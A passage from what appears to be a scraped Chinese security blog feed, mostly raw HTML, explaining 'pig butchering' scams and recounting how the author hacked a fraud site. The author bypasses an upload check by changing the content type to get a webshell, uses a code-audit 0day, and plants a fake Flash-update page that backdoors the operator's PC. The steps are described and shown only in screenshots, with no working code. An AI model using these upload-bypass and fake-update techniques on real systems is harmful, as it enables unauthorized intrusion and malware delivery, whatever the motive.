data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(141, 141, 141)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)">什么是“杀猪盘”？</span></strong></p></section></section></section><p><br/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">“杀猪盘”是“诈骗者”自己起的名字。诈骗分子准备好人设、交友套路等“猪饲料”，将社交平台称为“猪圈”，在其中寻找被他们称为“猪”的诈骗对象。通过建立恋爱关系，即“养猪”。最后骗取钱财，即“杀猪”。说白了就是诈骗分子和你先搞好关系，然后以“朋友”、“恋人”的关系去诱导你充钱到赌博网站，等你回过头来的时候他们已经销声匿迹了。<br/></span></section><p><span style="font-size: 14px;">         
                                
                                
                
               <br/></span></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(141, 141, 141)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)">针对一次非法资金盘的攻击</span></strong></p></section></section></section><p><span style="font-size: 14px;"><br/></span></p><section style="text-indent: 2em;"><span style="font-size: 14px;">最初看到朋友圈各种晒资金APP收入信息截图，怀疑是被骗了，好意提醒过她，结果之后就收到朋友的信息求助：<br/></span></section><p style="text-align: center;"><img data-ratio="1.4838709677419355" data-w="620" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=7002256a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7Q46QPjJCVjCupAsibXnBNpw1TygSynFlFTkv7qBwInoOAFd5w25kp6w%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">首先下载 App 去了解一下界面是什么样的：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.9271255060728745" data-s="300,640" style="" data-type="png" data-w="494" src="https://wechat2rss.xlab.app/img-proxy/?k=6bc31fa6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7bfS1Y4HGhhTJKb4sQVzg9IE0s0FaeYhCPCjJxIpSIzD5RMHjlOBFiag%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">发现这应该是一个 H5 打包封装的 app ，制定一下攻击流程：要么先找源码进行白盒测试要么就进行黑盒测试！</span></section><section style="text-indent: 2em;"><span style="font-size: 14px;">常见的获取源码的平台有：互站网，源码之家，站长下载。不过这种类型的源码居多：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6802884615384616" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=36dbdf49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7WgtYNTKApLIZTJxvKZh8EIibVukNUkpbj38Eh1eozglszBLeItgjzFw%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">互站网针对这种类型的源码非常的多，不过这些源码都是基于 tp 框架 cms 二次开发的系统，</span></section><p><span style="font-size: 14px;">大致内容应该都是一样的！</span><br/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">从互站网发现了一套源码，询问客服能不能给一个演示站点。客服晚上发了一个演示站点和测试账户进行测试：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="2.109848484848485" data-s="300,640" style="" data-type="png" data-w="528" src="https://wechat2rss.xlab.app/img-proxy/?k=681386a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7nSUMOyOuTHspah9S5Yvmb77Aqabfrk5cOJtaLOn4B68vXLWlXqveDw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">看起来和目标站点大致相同：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4" data-s="300,640" style="" data-type="png" data-w="340" src="https://wechat2rss.xlab.app/img-proxy/?k=1eb801f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic789uTww23cVWhfdVzicTvibibeMObqwB58YuoDLrboiaj3sd0xCS8aT91hA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">跟目标站点对比了一下，功能大致相同，出处内容不大。</span><br/></section><section style="text-indent: 2em;"><span style="font-size: 14px;">针对演示站点的弱点排查进行后台模糊测试：</span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3204819277108434" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=fe798b3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7Ub3Zvmib3zmbODwse4ziahCkQd9HEleHzu9cULIdp9ic29mX9hnlGjGpA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">此处看到一处上传点：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4110576923076923" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=d315cd63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7q9Ybqh6mZNORcb1sqGgoayOIjD5N6b8SBmlxUowbCKicTb1y0oHXIVQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;font-family: 宋体;">不过上传限制了白名单上传，这个地方丢弃掉。在后台翻了一个遍，基本是白名单控制无法突破。</span><br/></section><section style="text-indent: 2em;"><span style="font-size: 14px;font-family: 宋体;">后续来到前台，看到有提交任务出有上传的功能：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.20673076923076922" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=43de2ee6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7z4HoKcsFgticLeMJaQ67djdsa9t0wobIxD073kgB3nyPzehibMP5MR4A%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;font-family: 宋体;">先抓包分析查看：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.22650602409638554" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=4a813a54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7pWlzJHmgv7vudc1xOgf7Wu3D9SwXpo53lCZmaIKh7vvp8uYlqfseEg%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 14px;text-indent: 2em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;"></span></p><section style="text-indent: 2em;"><span style="font-size: 14px;">于是凭借经验尝试修改“image/jpeg”为“text/php”试一试：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.43028846153846156" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=8af45192&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7Xzgial8l1NdNd8faR7N9GibRfozdn4sT2ujpEleQQDgNAkfhl3w0992Q%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">提交成功去看看能不能拿到shell：<br/></span></section><p><img class="rich_pages" data-galleryid="" data-ratio="0.21927710843373494" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=b3cb1a18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7doz24L8wUdbahnQGJ8XicBVjbiaATIcjNFS0wC38f8jr6ic8FDbsjJa3g%2F640%3Fwx_fmt%3Dpng"/><br/></p><p><span style="font-size: 14px;font-family: 宋体;">前台没有图片链接信息，去后台看看：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4530120481927711" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=f7393d08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7dRxmlmV0odwqibpicyqfgqOWMwetwD3Qb2dglLIwZhDyxtaOlMgHg53A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><section style="text-indent: 2em;"><span style="font-size: 14px;font-family: 宋体;">同样也没有链接信息，可能是上传方式有问题，再重新试试：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.18313253012048192" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=7459dafd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7lWMSicqhopukMHFU8tUwzZQ2woW88LicKk3sBV5Fnu6KE0AXEGhZVRLg%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">这次把jpeg改成PHP 再试试：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.17307692307692307" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=1a728769&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7WJzLr6mgBgqcACGQJaO5dSctdeXEVYf30AMK0CyAAiaR85yxr91aBpA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;font-family: 宋体;">去后台看看发现有了地址：    <br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.37259615384615385" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=338f557c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7yr8oaTiaAzjCE6BdFibEsqpfGd21suUXzAmMRSMkLyoZqCW17JnU9w4A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5349397590361445" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=576cb0a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7IdgQ6MAemB6y3ecTYZKOtKMrv0ibG0g7b4MlpxJvs2PjYJXKZT3q6DQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;font-family: 宋体;">成功图片上传拿到 Webshell：<br/></span></section><p><img data-ratio="0.43990384615384615" data-w="832" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=71680100&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7yvny4bCXt4blM3ktRt4kRRAwZqwbHbbxW5pPXDwibagzmM4Strp7Cfg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">拿到 webshell 后把源码打包，之后进行代码审计，这是当前源码目录结构：<br/></span></section><p><img class="rich_pages" data-galleryid="" data-ratio="4.114285714285714" data-s="300,640" style="" data-type="png" data-w="280" src="https://wechat2rss.xlab.app/img-proxy/?k=6629ee62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7J5c23wnvhBqg3wVBfdIFdBticciaUoqyzKBPORVR2iajFic04uMZC2t6zA%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 14px;font-family: 宋体;"><br/></span></p><section style="text-indent: 2em;"><span style="font-size: 14px;">为了节约时间决定先找 getshell 漏洞，再找 sql 注入或者其他漏洞，因为这种漏洞能够快速拿到目标网站权限，通过代码审计看到会员中心有一处文件上传：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1710843373493976" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=544fbfc0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7gtUKEoaKKPYibSEe7LWD7IzymUicu0FbApPLibicFQRMzRXsXswCTDpZFA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">跟进 upload_base64 方法：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5807228915662651" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=ac984e29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7U2T8Sv9kYOQiaE2GwM9JukEpVtEyYsrZgBEr53qWSLkWMq8SNLgd1RA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">分析编码过来的base64流存不存在 data image  先前把image 改成了 text 所以才没有上传成功！这是目标站点页面信息：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7451923076923077" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=ca1d0b01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7p9V6kibzX1IMpibwBq7RQTPGficIWrqKXQJBwKEahaFw32heBnRLhibLxA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">通过审计出来的 0day 成功拿到网站权限：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3293269230769231" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=b1d2c957&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7jbTeRW2FaRUCIXBBQsPWOzmtgsaicz5RhRsyzzhx06Sicib62zFdicX8wg%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">拿到了网站权限于是就想钓鱼幕后杀猪盘黑手，通过利用Flash钓鱼手段获取管理员PC终端权限。</span></section><section style="text-indent: 2em;"><span style="font-size: 14px;">先是伪造了一个 Flash 官网：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5294818344252531" data-s="300,640" style="" data-type="png" data-w="3358" src="https://wechat2rss.xlab.app/img-proxy/?k=b56593f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7GGIDvaLicK6m05beX7EX36RAVCqP2HUoaUSicEYkLsYZSOfbJeoMRxfw%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">然后诈骗团伙登陆后台后，会弹出升级Flash。</span></section><section style="text-indent: 2em;"><span style="font-size: 14px;">点击就会下载带有后门的恶意文件：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5985576923076923" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=d496415b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7iceT9DhTn8I0K92ZYmZ0sSCXgoAEHhud2Z441TYKm1iaspibs3Q9UxyCw%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">Flash 钓鱼原理就是这样，随后通过漫长等待目标终于上钩：<br/></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3036144578313253" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=e26feb22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7cl90yBVV8MyEPtV8JQHqgjMFNF2nfKclU0HcKpu8PZicnVZic4s3rLkQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3349397590361446" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=9a37af95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7CicGsLwh2zRbPwBz70mX65pYOUeY7tBHxLXQsCFbcwdTahhmx1hYdlg%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">最终锁定了嫌疑人的 IP 和社交信息：</span><br/></section><p><span style="font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">IP</span>：118<span class="code-snippet__selector-class">.xx</span><span class="code-snippet__selector-class">.xx</span><span class="code-snippet__selector-class">.43</span></span></code><code><span class="code-snippet_outer">地区：安徽 芜湖</span></code><code><span class="code-snippet_outer">个人电脑登录过的<span class="code-snippet__selector-tag">QQ</span>号：2283*****</span></code></pre></section><section style="text-indent: 2em;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">通过大数据综合关联分析以及诈骗团伙终端资料，得出一些历史密码及社交信息。</span></span><span style="font-family:Calibri;font-size:14px;"><span style="font-family:宋体;"><br/></span></span></section><section style="text-indent: 2em;"><span style="font-family:Calibri;font-size:14px;"><span style="font-family:宋体;"></span></span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">在此已获取到嫌疑人所有社交信息，获取到目标宝塔权限，邮箱等</span>...<span style="font-family:宋体;"> <br/></span></span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3373493975903614" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=e7205080&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7XwNriaQdHS20ZAclBvRqUsMwheX3xBM33O8DubeVN1TnAM6oLuedgBQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6843373493975904" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=1e7cf632&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7S2iacmUR9ens0jqHUaWlPoxn4ahr00OLaiau41IIAP4UASzO8c49w2KA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">进入数据库，将受害人手机号码导出，分析受害者分布地区：</span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4855769230769231" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=f5cb18c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7PuriaGfNv6BMG0Mu5c25EdvPsbpkibhiaSqnHgShdVOnicoeMrdagqClVA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;font-family: 宋体;"></span><br/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">可见全国各地都有不同的人上钩，在这里跟大家说一下一定要远离资金盘，远离赌博网站，这些都是“杀猪刀”，如果你”上钩“了，你也变成“猪”了！</span><br/></section></section></section></section>



<p><a href="2247483887">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6839f7bd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483887%26idx%3D1%26sn%3De4e044ec148934fd02650dd4031c67b3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 03 Jul 2021 20:35:00 +0800</pubDate>
    </item>
    <item>
      <title>一次入侵溯源分析，通过流量完整还原黑客攻击手法</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247483886&amp;idx=1&amp;sn=1ccac5a3eec365c216077e99c7b1582b</link>
      <description>中间件日志和webshell被删除的情况下，通过安全设备日志和全流量日志还原攻击过程。</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-07-02 18:30</span> <span style="display: inline-block;"></span>
</p>

<p>中间件日志和webshell被删除的情况下，通过安全设备日志和全流量日志还原攻击过程。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c334ccf1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7VBQrUcicSrHGtqNn89vFVQdduJnp2CYe12HhHuUNuibvtrwBBshPuZ7Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="color: rgb(0, 0, 0);"><br/></span></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" 